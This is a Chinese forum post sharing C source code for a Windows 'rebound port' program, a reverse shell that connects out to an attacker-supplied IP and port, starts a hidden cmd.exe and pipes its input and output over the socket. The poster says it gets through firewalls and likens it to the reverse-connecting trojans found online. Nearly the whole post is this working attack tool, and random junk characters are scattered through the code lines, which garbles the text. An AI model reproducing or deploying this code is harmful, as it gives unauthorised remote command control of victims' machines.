社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4132阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 i=#r JK=  
(<=qW_iW  
/* ============================== :~{XL>:S  
Rebound port in Windows NT p%G4Js.  
By wind,2006/7 *<OWd'LI  
===============================*/ {y)s85:t  
#include M\DUx5d J,  
#include f8 B*D4R}  
K &Ht37T  
#pragma comment(lib,"wsock32.lib") b'St14_  
[="moh2*f  
void OutputShell(); _bMD|  
SOCKET sClient; pzCD' !*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; b=Zg1SqV  
X CDHd ?Ld  
void main(int argc,char **argv) H7H'0C  
{ EX='\~Dw  
WSADATA stWsaData; /1gKc}rB2  
int nRet; (uD(,3/Cw  
SOCKADDR_IN stSaiClient,stSaiServer; 7'xT)~*$4  
acRPKTs H  
if(argc != 3) V89!C?.[]1  
{ iePpJ>(  
printf("Useage:\n\rRebound DestIP DestPort\n"); |&o1i~Y  
return; !3-mPG< ]  
} tI{pu}/"#  
^>72<1U%  
WSAStartup(MAKEWORD(2,2),&stWsaData); mO?G[?*\  
u> %r(  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  ?MPM@9  
yaa+j8s]  
stSaiClient.sin_family = AF_INET; ;^=eiurv  
stSaiClient.sin_port = htons(0); 3`5?Zgp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [f:>tRdH  
bsR^H5O@  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^8 AV#a  
{ @j9yc  
printf("Bind Socket Failed!\n"); ~g;(` g  
return; 'N,x=1R5  
} @:oMlIw;  
t8U)za  
stSaiServer.sin_family = AF_INET; |*Z'WUv  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); \@*cj8e  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); R =mawmQ2  
$ *MjNj2  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) V}'|a<8kVv  
{ MztT/31S  
printf("Connect Error!"); +7sdQCO(Co  
return; ' f}^/`J  
} %[B &JhT  
OutputShell(); BaR9X ?~O$  
} IgptiZ7~!  
@Ys(j$U't  
void OutputShell() ceH7Rq:4W  
{ kD >|e<}\  
char szBuff[1024]; 5u~Ik c~  
SECURITY_ATTRIBUTES stSecurityAttributes; DJr 8<u  
OSVERSIONINFO stOsversionInfo; l!~8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %Kw5 b ;  
STARTUPINFO stStartupInfo; ~.VWrHC  
char *szShell; }]=b%CPJh+  
PROCESS_INFORMATION stProcessInformation; E-E+/.A  
unsigned long lBytesRead; XFG]%y=/6  
YZr^;jfP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 85w D<bN27  
[LjYLm%<  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); YV. *8'*  
stSecurityAttributes.lpSecurityDescriptor = 0; 3543[W#a  
stSecurityAttributes.bInheritHandle = TRUE; U1 1rj,7  
QbV)+7II=  
j<"0ym)A  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uQ5NN*C=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8{4I6;e-  
[<1i[\^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); }{bO ~L7  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rZKv:x}{6  
stStartupInfo.wShowWindow = SW_HIDE; o:f=dBmoX  
stStartupInfo.hStdInput = hReadPipe; AY [7yPP  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1YAy\F~`.  
*q|.H9 K(  
GetVersionEx(&stOsversionInfo); L7X._XBO[  
:}+U?8/"7  
switch(stOsversionInfo.dwPlatformId) y?_tSnDK  
{ vkc(-n  
case 1: q/m}+v]  
szShell = "command.com"; u'yePJTE  
break; S8.nM}x  
default: kYPowM  
szShell = "cmd.exe"; "y_$!KY%  
break; oJ{)0;<~L  
} v@Otp  
4) /tCv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); djZOx;/  
qe`W~a9x  
send(sClient,szMsg,77,0); 0:v7X)St  
while(1) ?uk|x!Ko]  
{ Fe"0Hp+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 'G@Npp)&^  
if(lBytesRead) G5TdAW  
{ +:/`&LOS-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); XfViLBY( >  
send(sClient,szBuff,lBytesRead,0); d!Y,i!l!  
} &|/C*2A  
else OFQsfW3O  
{ l]oGhM;  
lBytesRead=recv(sClient,szBuff,1024,0); ,i>5\Yl%  
if(lBytesRead<=0) break; zh*NRN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BIw9@.99B-  
} i"Ct}7i  
} 4)v\Dc/9i  
D2>=^WP6+  
return; B<8Z?:3YS  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八